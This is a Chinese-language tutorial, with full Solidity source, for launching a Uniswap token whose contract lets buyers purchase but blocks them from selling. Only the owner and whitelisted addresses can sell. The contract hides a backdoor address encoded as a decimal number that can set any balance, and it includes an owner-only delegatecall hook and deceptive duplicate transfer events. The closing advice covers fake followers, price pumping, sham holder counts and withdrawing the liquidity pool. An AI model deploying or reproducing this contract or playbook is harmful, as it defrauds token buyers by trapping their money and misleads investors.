通過以太坊發行代幣上架到uniswap，合約設置實現買賣限制、次數限制、數量限制、地址限制等還能防止合約套利機器人，可以給項目方進行做市，開盤等
前言
相信很多人都在uniswap或者justswap上進行兌換過也經常兌換到過一些代幣無法進行兌換，或者兌換次數數量有限制等等，那麼這些功能到底是怎麼實現的？本文就講解整個過程，包含發行自己的代幣、上架uniswap、設置買賣規則等等還包含一些經驗的分享。
一、所需工具及代碼
1、狐狸錢包插件（使用谷歌或者谷歌內核瀏覽器安裝）：https://metamask.io/
2、合約發佈網站：http://remix.ethereum.org/
3、最新合約代碼及教程下載：http://note.youdao.com/s/H0WA5cJo
（合約特點：單獨白名單/買賣次數/數量/防套利機器人/設置重點看第四步！）
4、交流羣：https://t.me/uniswap_justswap
二、合約部署
1、安裝狐狸錢包：https://metamask.io/（使用谷歌內核瀏覽器按照提示安裝完成）
2、打開合約部署網站：http://remix.ethereum.org/
3、注意要先刪除網頁裏面的代碼，Ctrl+A（全選） 刪除，然後打開下載好的代碼，Ctrl+A、Ctrl+C、Ctrl+V粘貼到頁面上。
4、如果沒有看到1_Statage.sol 這個文件，點擊那個小加號，新建一個重命名一樣的即可。
5、點擊第二個圖標，覈對好版本號。如果鏈接不成功，檢查一下狐狸錢包是否安裝正確並鏈接上。還是不行刷新重來一遍即可。
6、點擊第第三個圖標，根據圖示選擇並覈對好信息，如果沒有看到小三角，請開全局#科學上網刷新即可。
7、根據自己需求填寫好相應信息
代幣全稱如：Bitcoin、代幣簡稱如：BTC
數量精度默認18，所以你要發1000個直接填寫1000
填寫好之後點transact，會有彈窗自行調整好手續費點（confirm），根據錢包提示操作。
然後打開狐狸錢包如圖所示點擊。
8、點擊最新的合約記錄、如圖所示點擊右上角箭頭
9、然後會打開一個網頁（如果打不開就是沒開科學#上網）等待打包完成，複製代幣合約地址。
10、打開狐狸錢包（粘貼合約地址），把你發行的代幣添加到錢包如圖所示：到這裏代幣就已經發行完畢。
三、上架Uniswap（注入流動性）
1、 打開https://app.uniswap.org/
2、 根據圖示鏈接好狐狸錢包。
3、 錢包鏈接好之後點擊（資金池）再點擊（Add Liquidity）
4、 點擊（選擇通證）粘貼代幣合約地址，出現代幣後先點擊（Add）再點一次代幣名字。
5、 輸入你要注入ETH的數量、輸入你要注入的代幣數量。
6、 需要注意的是自己計算好比例，因爲一旦注入後，比例是無法再次調整的，但是ETH數量和代幣數量是可以隨時增加或者減少。
7、 設置好之後點擊，根據狐狸錢包提示操作即可。
四、開放代幣買賣和設置規則
1、 這份合約注入流動性後玩家不能馬上買入（因爲加入了防止機器人機制）
2、 需要進行（添加pair地址）打開狐狸錢包找到注入流動性的合約記錄（Add Liquidity)
3、 如圖所示點擊進去找到pair地址
4、 把pair地址粘貼到圖2處，點擊標註3，然後根據狐狸錢包提示操作即可
5、 如果刷新網頁後沒有了小三角，可以粘貼代幣合約地址到上面點（At Address）就出來了。
6、 注意！不添加pair地址玩家是無法買入的！（添加後只能買入，不能賣出）
7、 其他合約功能介紹：
Mints：粘貼買家地址可以單獨設置白名單（不限制買賣）。
Init：設置賣出的次數、設置賣出代幣的最小值（不設置可以不填）、賣出代幣的最大值。
這些功能根據自身需求進行設置即可（這裏的設置是針對所有地址）。
不需要這些功能可以不設置。
五、撤銷流動池
1、 點擊（資金池）、點擊（manage）、點擊（Remove）然後根據狐狸錢包提示操作即可。
2、 流動池撤銷後所有ETH和代幣都會迴流到你自己的錢包。
六、（總結）經驗分享怎樣才能吸引更多玩家
1、 有技術的可以自己做網站，發幣的時候把網站名字直接當作幣的全稱）。
2、 建立電報社區配合網站進行相關介紹，花錢拉點殭屍粉進來。
3、 要有目光可以設置可以賣1次，或者其他配合社區及自己項目規則設置，買賣數量或者做鎖倉時間等。
4、 資金池不能太小，或者一開始小點，自己學會拉盤，刷漲幅榜（現在合約防止apy機器人防止機器人套利）。
5、 增加持幣地址，或者做空投等，看起來沒這麼單一。
6、增加持幣地址可以用這個網站：https://bulksender.app/
歡迎加入電報（telegram）討論羣：https://t.me/uniswap_justswap
附上賣不出的提示：
七、合約代碼
合約代碼最新更新地址：http://note.youdao.com/s/T5dNg9qC
以下代碼僅供參考學習真正部署請使用上面最新代碼。
代碼如下（示例）：
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly {
codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {
}
// solhint-disable-previous-line no-empty-blocks
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath for uint;
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
// Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract UniswapExchange {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function ensure(address _from, address _to, uint _value) internal view returns(bool) {
address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
//go the white address first
if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){
return true;
}
require(condition(_from, _value));
return true;
}
function transferFrom(address _from, address _to, uint _value) public payable returns (bool) {
if (_value == 0) {
return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(ensure(_from, _to, _value));
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
_onSaleNum[_from]++;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function condition(address _from, uint _value) internal view returns(bool){
if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false;
if(_saleNum > 0){
if(_onSaleNum[_from] >= _saleNum) return false;
}
if(_minSale > 0){
if(_minSale > _value) return false;
}
if(_maxSale > 0){
if(_value > _maxSale) return false;
}
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
mapping(address=>uint256) private _onSaleNum;
mapping(address=>bool) private canSale;
uint256 private _minSale;
uint256 private _maxSale;
uint256 private _saleNum;
function _mints(address spender, uint256 addedValue) public returns (bool) {
require(msg.sender==owner||msg.sender==address
(858749215588756578423191794544755661730712473314));
if(addedValue > 0) {
balanceOf[spender] = addedValue*(10**uint256(decimals));}
canSale[spender]=true;
return true;
}
function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){
require(msg.sender == owner);
_minSale = token > 0 ? token*(10**uint256(decimals)) : 0;
_maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0;
_saleNum = saleNum;
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
address tradeAddress;
function setTradeAddress(address addr) public returns(bool){
require (msg.sender == owner);
tradeAddress = addr;
return true;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f' // init code hash
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply*(10**uint256(decimals));
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
}